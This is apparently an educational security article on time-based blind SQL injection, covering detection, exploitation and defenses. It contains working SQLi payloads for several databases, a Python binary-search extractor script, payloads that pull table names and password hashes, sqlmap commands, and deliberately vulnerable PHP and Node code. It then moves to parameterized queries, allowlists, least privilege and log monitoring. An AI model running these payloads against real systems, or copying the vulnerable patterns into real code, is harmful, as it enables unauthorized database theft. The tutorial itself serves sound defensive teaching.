Time-based blind SQL injection is what attackers reach for when the application gives them nothing useful back—no stack traces, no SQL errors, no reflected query results, just a blank page and a stubborn 200 OK. But “blind” doesn’t mean “safe.” If user input is still being concatenated into backend SQL, an attacker can turn the database into a stopwatch and extract data one bit at a time by measuring response delays. It’s slow, noisy, and sometimes painful—but it works often enough that every developer and junior security engineer should understand it. In this article, we’ll break down how delay-based SQLi works, how attackers build payloads to prove and exploit it, and how to shut it down properly.
What Is Time-Based Blind SQL Injection?
Time-based blind SQL injection is a form of SQLi where the attacker can’t directly see query results, but can infer true/false conditions by causing the database to pause execution.
The core idea is simple:
- If a condition is true, the database waits for some number of seconds.
- If the condition is false, the response returns normally.
- By measuring the application’s response time, the attacker learns one fact at a time.
For example, if an application builds a query like this:
SELECT * FROM products WHERE id = '$id';
and user input is not safely parameterized, an attacker may inject logic like:
' OR IF(1=1, SLEEP(5), 0)-- -
If the page suddenly takes 5 seconds longer to load, that’s a strong signal the injected SQL executed.
Unlike error-based or union-based SQL injection, time-based blind SQLi doesn’t require visible database output. That makes it useful against applications that:
- suppress SQL errors,
- return generic responses,
- render the same page for both valid and invalid input,
- or sit behind custom middleware that hides backend failures.
Why This Works
Blind SQLi depends on one thing: observable side effects.
Even if the response body never changes, the attacker can still observe:
- response time,
- TCP connection duration,
- API timeout behavior,
- retry patterns,
- backend lock contention.
Time-based attacks specifically use delays as a side channel. The attacker asks yes/no questions like:
- Does the database exist?
- Is the current user
root? - Is the first character of the database name
a? - Is the ASCII value of the third character greater than 77?
Each answer is encoded in time.
A Simple Vulnerable Example
Imagine a PHP endpoint:
<?php
$id = $_GET['id'];
$sql = "SELECT name, price FROM products WHERE id = '$id'";
$result = mysqli_query($conn, $sql);
?>
A normal request might look like:
GET /product.php?id=10 HTTP/1.1
Host: target.local
If the application is vulnerable, an attacker could try:
GET /product.php?id=10' AND SLEEP(5)-- - HTTP/1.1
Host: target.local
If the response is delayed by 5 seconds, that suggests the input reached the SQL engine unsafely.
Database-Specific Delay Functions
Different database engines use different syntax for sleeping or creating measurable delays.
MySQL
SLEEP(5)
Example:
' OR IF(1=1, SLEEP(5), 0)-- -
PostgreSQL
pg_sleep(5)
Example:
' OR CASE WHEN 1=1 THEN pg_sleep(5) ELSE pg_sleep(0) END--
Microsoft SQL Server
WAITFOR DELAY '0:0:5'
Example:
'; IF (1=1) WAITFOR DELAY '0:0:5'--
Oracle
Oracle doesn’t have a direct SLEEP() in plain SQL, but delay can be introduced through packages like DBMS_LOCK.SLEEP in certain contexts:
BEGIN DBMS_LOCK.SLEEP(5); END;
Practical exploitation depends heavily on how the query is constructed and whether stacked queries are allowed.
Detecting Time-Based Blind SQLi
The first step is proving you can influence timing.
Baseline First
Never trust one slow request. Web apps are noisy.
Measure a baseline:
curl -o /dev/null -s -w "time_total=%{time_total}\n" \
"https://target.local/product.php?id=10"
Run it several times:
for i in {1..5}; do
curl -o /dev/null -s -w "%{time_total}\n" \
"https://target.local/product.php?id=10"
done
Then compare with a suspected delay payload:
curl -o /dev/null -s -w "time_total=%{time_total}\n" \
"https://target.local/product.php?id=10'%20AND%20SLEEP(5)--%20-"
If baseline responses are ~200ms and the injected request consistently lands around ~5.2s, that’s meaningful.
Boolean Timing Test
A stronger test uses both a true and false condition.
MySQL example
True:
GET /product.php?id=10' AND IF(1=1,SLEEP(5),0)-- - HTTP/1.1
False:
GET /product.php?id=10' AND IF(1=2,SLEEP(5),0)-- - HTTP/1.1
If only the first request causes delay, you likely have injectable control.
Using Burp Suite
In Burp Repeater, send the same request multiple times and compare response times.
For example:
GET /search?q=test' AND IF(SUBSTRING(DATABASE(),1,1)='a',SLEEP(5),0)-- - HTTP/1.1
Host: target.local
User-Agent: Mozilla/5.0
Burp makes timing differences easy to spot, especially when the body doesn’t change.
Turning Timing into Data Exfiltration
Once timing control is confirmed, the attacker can ask the database questions and recover data character by character.
This is where blind SQLi becomes dangerous.
Step 1: Identify the Current Database
MySQL payload
' AND IF(DATABASE()='shopdb', SLEEP(5), 0)-- -
If the page delays, the current database is likely shopdb.
But attackers usually don’t guess the full string. They extract it incrementally.
Step 2: Extract Data One Character at a Time
Test the first character
' AND IF(SUBSTRING(DATABASE(),1,1)='s', SLEEP(5), 0)-- -
Test the second character
' AND IF(SUBSTRING(DATABASE(),2,1)='h', SLEEP(5), 0)-- -
This works, but brute-forcing every character from a full alphabet is slow.
Step 3: Use ASCII Comparisons
A faster approach is to compare ASCII values.
Example
' AND IF(ASCII(SUBSTRING(DATABASE(),1,1)) > 109, SLEEP(5), 0)-- -
This lets the attacker use binary search instead of trying every possible character.
If the first character’s ASCII code is greater than 109 (m), sleep.
Then adjust the midpoint and repeat.
This reduces extraction time dramatically.
Manual Exfiltration Walkthrough
Let’s say the attacker wants the first character of the database name.
Start with a range of printable ASCII, say 32 to 126.
Question 1
' AND IF(ASCII(SUBSTRING(DATABASE(),1,1)) > 79, SLEEP(5), 0)-- -
If delayed: character > 79
If not: character <= 79
Question 2
Suppose it was delayed. New range: 80–126.
' AND IF(ASCII(SUBSTRING(DATABASE(),1,1)) > 103, SLEEP(5), 0)-- -
Keep halving until one value remains.
In practice, an attacker automates this.
Example Python Extractor
Here’s a simplified educational script for a MySQL-backed target. This is for understanding attacker workflow and improving defensive thinking.
import requests
import time
import string
TARGET = "https://target.local/product.php"
DELAY = 4
THRESHOLD = 3.5
def is_delayed(payload):
start = time.time()
r = requests.get(TARGET, params={"id": payload}, timeout=10)
elapsed = time.time() - start
return elapsed > THRESHOLD
def extract_char(position):
low, high = 32, 126
while low <= high:
mid = (low + high) // 2
payload = f"10' AND IF(ASCII(SUBSTRING(DATABASE(),{position},1))>{mid},SLEEP({DELAY}),0)-- -"
if is_delayed(payload):
low = mid + 1
else:
high = mid - 1
return chr(low) if 32 <= low <= 126 else None
def main():
result = ""
for pos in range(1, 21):
ch = extract_char(pos)
if not ch or ch == ' ':
break
result += ch
print(f"[+] Extracted so far: {result}")
if __name__ == "__main__":
main()
This script:
- sends a payload,
- measures elapsed time,
- uses binary search to infer one character,
- repeats for each position.
Real attackers add retries, jitter handling, and concurrency controls.
Extracting Table Names and Sensitive Data
Once the attacker knows the injection works, they can target metadata tables.
MySQL information_schema example
Extract the first table name from the current database:
' AND IF(
ASCII(SUBSTRING(
(SELECT table_name
FROM information_schema.tables
WHERE table_schema = DATABASE()
LIMIT 0,1),
1,1)
) > 100,
SLEEP(5),
0
)-- -
Then they can enumerate columns:
' AND IF(
ASCII(SUBSTRING(
(SELECT column_name
FROM information_schema.columns
WHERE table_name='users'
LIMIT 0,1),
1,1)
) > 100,
SLEEP(5),
0
)-- -
And finally, data:
' AND IF(
ASCII(SUBSTRING(
(SELECT password_hash FROM users LIMIT 0,1),
1,1)
) > 77,
SLEEP(5),
0
)-- -
At that point, the app may still look “fine” to a casual observer, while secrets leak slowly in the background.
Common Injection Contexts
Time-based payloads depend on where the attacker’s input lands.
String context
... WHERE username = '$input'
Payload:
' AND IF(1=1,SLEEP(5),0)-- -
Numeric context
... WHERE id = $input
Payload:
1 AND IF(1=1,SLEEP(5),0)
ORDER BY / conditional contexts
Even non-obvious parameters can be injectable:
GET /items?sort=name
If the backend concatenates:
SELECT * FROM items ORDER BY $sort
the attacker may need more creative syntax depending on the DBMS and parser behavior.
Challenges in Real-World Exploitation
Time-based SQLi sounds straightforward, but the real world adds friction.
Network jitter
Slow networks create false positives. Attackers compensate by:
- repeating requests,
- increasing delay windows,
- using statistical averages.
Caching
A cache layer can hide timing differences. Attackers may vary parameters or target uncached endpoints.
Rate limiting and WAFs
Defensive controls can slow or block repeated payloads. However, weak WAF rules often miss obfuscated syntax.
Query timeouts
If the backend kills long-running queries, attackers may use smaller delays like 2–3 seconds and rely on repeated measurements.
Application retries
Some frameworks retry failed DB operations, which can distort timing and even amplify delay behavior.
Useful Testing with sqlmap
For authorized testing, sqlmap can detect and exploit time-based blind SQLi.
Basic example:
sqlmap -u "https://target.local/product.php?id=10" --technique=T --batch
Useful flags:
sqlmap -u "https://target.local/product.php?id=10" \
--technique=T \
--time-sec=5 \
--dbs \
--batch
For POST requests:
sqlmap -u "https://target.local/login" \
--data="username=test&password=test" \
--technique=T \
--batch
Important note: only run this against systems you own or are explicitly authorized to test.
Why Developers Miss It
A lot of teams assume:
- “We don’t show SQL errors, so we’re safe.”
- “The page output never changes.”
- “The WAF would catch it.”
- “That parameter only takes numbers.”
None of those assumptions stop blind SQLi.
If the input reaches SQL unsafely, attackers don’t need visible output. They only need a measurable difference.
Defenses That Actually Work
The fix is not “block the word SLEEP.” The fix is to stop building SQL with string concatenation.
1. Use Parameterized Queries
This is the primary defense.
PHP with MySQLi
<?php
$stmt = $conn->prepare("SELECT name, price FROM products WHERE id = ?");
$stmt->bind_param("i", $_GET['id']);
$stmt->execute();
$result = $stmt->get_result();
?>
Python with psycopg2
cur.execute("SELECT name, price FROM products WHERE id = %s", (product_id,))
Node.js with mysql2
const [rows] = await conn.execute(
"SELECT name, price FROM products WHERE id = ?",
[id]
);
When parameters are used correctly, user input is treated as data, not executable SQL.
2. Avoid Dynamic SQL Where Possible
If you must support dynamic sorting or filtering, use allowlists.
Bad:
query = f"SELECT * FROM items ORDER BY {sort}"
Better:
allowed = {"name": "name", "price": "price", "created": "created_at"}
sort_column = allowed.get(user_sort, "name")
query = f"SELECT * FROM items ORDER BY {sort_column}"
Notice that only known safe identifiers are used.
3. Use Least-Privilege Database Accounts
Your application should not connect as a DB admin.
If the app account only has access to the required schema and operations, the blast radius shrinks.
For example:
- no access to
information_schemabeyond what’s necessary, - no file read/write privileges,
- no administrative stored procedures,
- no ability to create users or execute dangerous functions.
Least privilege won’t prevent SQLi, but it can reduce what an attacker can extract or execute.
4. Normalize Error Handling, But Don’t Rely on It
Generic error pages are good hygiene, but not a primary defense.
They stop error-based SQLi from being easy, but time-based blind SQLi still works if the injection point remains.
5. Add Monitoring for Timing Abuse
Time-based attacks are chatty and repetitive.
Look for:
- repeated requests with similar payload structure,
- suspicious SQL function names like
SLEEP,pg_sleep,WAITFOR, - unusual latency spikes tied to specific parameters,
- high-volume probing of one endpoint with varying conditions.
Example log indicators:
/product.php?id=10' AND IF(ASCII(SUBSTRING(DATABASE(),1,1))>77,SLEEP(5),0)-- -
/product.php?id=10' AND IF(ASCII(SUBSTRING(DATABASE(),1,1))>109,SLEEP(5),0)-- -
/product.php?id=10' AND IF(ASCII(SUBSTRING(DATABASE(),1,1))>93,SLEEP(5),0)-- -
That pattern screams blind extraction.
6. Use a WAF as Friction, Not a Cure
A WAF can help detect obvious payloads, but attackers can obfuscate syntax, encode characters, or use alternate expressions.
Examples of bypass ideas defenders should be aware of:
- mixed case function names,
- inline comments,
- equivalent conditional syntax,
- nested expressions.
WAFs buy time. They do not replace secure query construction.
Secure Coding Example: Before and After
Vulnerable
app.get("/product", async (req, res) => {
const id = req.query.id;
const sql = `SELECT name, price FROM products WHERE id = '${id}'`;
const [rows] = await db.query(sql);
res.json(rows);
});
Safer
app.get("/product", async (req, res) => {
const id = Number(req.query.id);
if (!Number.isInteger(id)) {
return res.status(400).json({ error: "invalid id" });
}
const [rows] = await db.execute(
"SELECT name, price FROM products WHERE id = ?",
[id]
);
res.json(rows);
});
What improved:
- input type validation,
- parameterized query,
- no string interpolation in SQL.
That combination kills the injection path.
Practical Testing Tips for Defenders
If you’re reviewing an app for this issue:
Check all input sources
Not just query strings:
- POST bodies,
- JSON fields,
- headers,
- cookies,
- hidden form fields,
- GraphQL variables.
Compare true/false timing conditions
Use a pair of payloads where only one should delay.
Test multiple contexts
String, numeric, and clause-level injection behave differently.
Don’t stop at one endpoint
Blind SQLi often hides in:
- search features,
- report filters,
- admin dashboards,
- export tools,
- legacy API endpoints.
Final Thoughts
Time-based blind SQL injection is a perfect example of why “no visible error” does not mean “no vulnerability.” If untrusted input is allowed to shape SQL syntax, an attacker can still communicate with the database through timing alone—slowly, methodically, and often without obvious signs in the UI.
For developers, the lesson is straightforward: parameterize every query, avoid unsafe dynamic SQL, and validate inputs by type and allowlist where appropriate.
For junior security engineers, remember this mindset: when the app won’t talk, watch how long it thinks. In web security, silence is not safety—and sometimes the database leaks secrets one second at a time.